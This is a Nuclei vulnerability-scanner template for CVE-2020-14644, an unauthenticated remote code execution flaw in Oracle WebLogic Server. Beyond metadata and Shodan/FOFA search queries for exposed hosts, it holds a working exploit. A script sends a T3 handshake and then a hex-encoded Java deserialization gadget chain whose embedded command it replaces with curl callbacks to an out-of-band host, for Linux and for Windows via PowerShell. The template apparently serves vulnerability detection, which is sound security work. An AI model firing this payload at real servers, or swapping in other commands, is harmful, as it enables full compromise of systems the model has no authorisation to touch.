Oracle WebLogic Server - Remote Code Execution (Insecure Deserialization)

id: CVE-2020-14644

info:
  name: Oracle WebLogic Server - Remote Code Execution (Insecure Deserialization)
  author: hnd3884
  severity: critical
  description: |
    Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 contain a remote code execution caused by unauthenticated network access via IIOP and T3, letting attackers take over the server, exploit requires network access.
  impact: |
    Attackers can fully compromise the server, leading to data breach, service disruption, and potential control over the system.
  remediation: |
    Apply the latest security patches provided by Oracle for affected versions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14644
    - https://www.oracle.com/security-alerts/cpujul2020.html
    - https://www.tenable.com/cve/CVE-2020-14644
    - https://github.com/0xkami/cve-2020-14644
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14644
    cwe-id: CWE-502
    epss-score: 0.94548
    epss-percentile: 0.99855
    cpe: cpe:2.3:a:oracle:weblogic_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: oracle
    product: oracle_weblogic_server
    affected-versions:
      - "12.2.1.3.0"
      - "12.2.1.4.0"
      - "14.1.1.0.0"
    shodan-query:
      - cpe:"cpe:2.3:a:oracle:weblogic_server"
      - product:"WebLogic"
      - http.server:"WebLogic"
      - port:7001
    fofa-query: product="WebLogic" || header="WebLogic Server"
  tags: cve,cve2020,weblogic,rce,deserialization,oracle,kev,vkev,vuln

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const net = require('nuclei/net');

      const address = Host + ":" + Port;
      const CMD_LINUX = "curl http://rce-linux." + oast;
      const CMD_WIN = "cmd.exe /c powershell curl http://rce-window." + oast;

      function decimalToFixedBytes(num, byteLength = 2) {
          const arr = new Uint8Array(byteLength);
          for (let i = byteLength - 1; i >= 0; i--) {
              arr[i] = num & 0xFF;
              num = num >> 8;
          }
          return arr;
      }

      function buildLengthHex(hexStr, cmdLinux) {
          var num = parseInt(hexStr, 16);
          var value = num + cmdLinux.length - 19;
          var buf = bytes.Buffer();
          buf.Write(decimalToFixedBytes(value));
          return buf.Hex();
      }

      function javaString(cmd) {
          var buf = bytes.Buffer();
          buf.Write(decimalToFixedBytes(cmd.length));
          buf.WriteString(cmd);
          return buf.Hex();
      }

      function sendExploit(payload) {
          s1 = net.Open('tcp', address);
          s1.SendHex("743320372e302e302e300a41533a31300a484c3a31390a0a");
          s1.Recv(4096);
          s1.SendHex(payload);
      }

      sample = "00000767086501ffffffffffffffff00000000041000aced000573720033636f6d2e74616e676f736f6c2e696e7465726e616c2e7574696c2e696e766f6b652e52656d6f7465436f6e7374727563746f72cd9aec465bdeea770200025b00086d5f616f417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000c6d5f646566696e6974696f6e7400334c636f6d2f74616e676f736f6c2f696e7465726e616c2f7574696c2f696e766f6b652f436c617373446566696e6974696f6e3b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000001740013636d642e657865202f632063616c632e65786573720031636f6d2e74616e676f736f6c2e696e7465726e616c2e7574696c2e696e766f6b652e436c617373446566696e6974696f6e25cbbe8bf700da9a0200025b00096d5f6162436c6173737400025b424c00046d5f69647400314c636f6d2f74616e676f736f6c2f696e7465726e616c2f7574696c2f696e766f6b652f436c6173734964656e746974793b7870757200025b42acf317f8060854e0020000787000000365cafebabe0000003400300a0009001b0a001c001d0a0009001e0a001c001f0700200700210a0006002207002e0700240100063c696e69743e010015284c6a6176612f6c616e672f4f626a6563743b2956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010001650100154c6a6176612f6c616e672f457863657074696f6e3b010004746869730100194c636f6d2f737570657265616d2f4576696c4f626a4d696e3b010003636d640100124c6a6176612f6c616e672f4f626a6563743b01000d537461636b4d61705461626c6507002e07002407002001000a536f7572636546696c6501000f4576696c4f626a4d696e2e6a6176610c000a00250700260c002700280c0029002a0c002b002c0100136a6176612f6c616e672f457863657074696f6e01001a6a6176612f6c616e672f52756e74696d65457863657074696f6e0c000a002d010017636f6d2f737570657265616d2f4576696c4f626a4d696e0100106a6176612f6c616e672f4f626a6563740100032829560100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b010008746f537472696e6701001428294c6a6176612f6c616e672f537472696e673b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b010018284c6a6176612f6c616e672f5468726f7761626c653b2956010038636f6d2f737570657265616d2f4576696c4f626a4d696e24333230323235413446453031354237464243363231433630333743443746353001003a4c636f6d2f737570657265616d2f4576696c4f626a4d696e2433323032323541344645303135423746424336323143363033374344374635303b0021000800090000000000010001000a000b0001000c00000090000300030000001d2ab70001b800022bb60003b6000457a7000d4dbb0006592cb70007bfb100010004000f001200050003000d0000001a00060000000400040006000f00090012000700130008001c000a000e00000020000300130009000f001000020000001d0011002f00000000001d0013001400010015000000130002ff001200020700160700170001070018090001001900000002001a7372002f636f6d2e74616e676f736f6c2e696e7465726e616c2e7574696c2e696e766f6b652e436c6173734964656e746974797d46c174c0f428390200034c000b6d5f73426173654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a6d5f735061636b61676571007e000e4c000a6d5f7356657273696f6e71007e000e787074000a4576696c4f626a4d696e74000c636f6d2f737570657265616d74002033323032323541344645303135423746424336323143363033374344374635301000aced0005737200307765626c6f6769632e73656375726974792e61636c2e696e7465726e616c2e41757468656e74696361746564557365725cf8e9684f73eb7b0200074900096c6f63616c506f7274420003716f734a000974696d655374616d704c000b696e6574416464726573737400164c6a6176612f6e65742f496e6574416464726573733b4c000c6c6f63616c4164647265737371007e00014c00046e616d657400124c6a6176612f6c616e672f537472696e673b5b00097369676e61747572657400025b427870ffffffff650000019a427c2ca570707400087765626c6f676963757200025b42acf317f8060854e00200007870000000107ab7e36a3286284f83c47cbd65f88cd31000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771c01000000000000000100093132372e302e302e3183b5795200000000781000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707711000000000000000001000000000000000078";

      // payload
      payload_linux = sample.replace("0013636d642e657865202f632063616c632e657865", javaString(CMD_LINUX)).replace('0767', buildLengthHex('0767', CMD_LINUX));
      payload_win = sample.replace("0013636d642e657865202f632063616c632e657865", javaString(CMD_WIN)).replace('0767', buildLengthHex('0767', CMD_WIN));

      // send exploit
      sendExploit(payload_linux)
      sendExploit(payload_win)

    args:
      Host: "{{Host}}"
      oast: "{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
      - type: word
        part: interactsh_request
        condition: or
        words:
          - "rce-linux"
          - "rce-window"
    extractors:
      - type: regex
        part: interactsh_request
        regex:
          - 'rce-(linux|window)[^\s]*'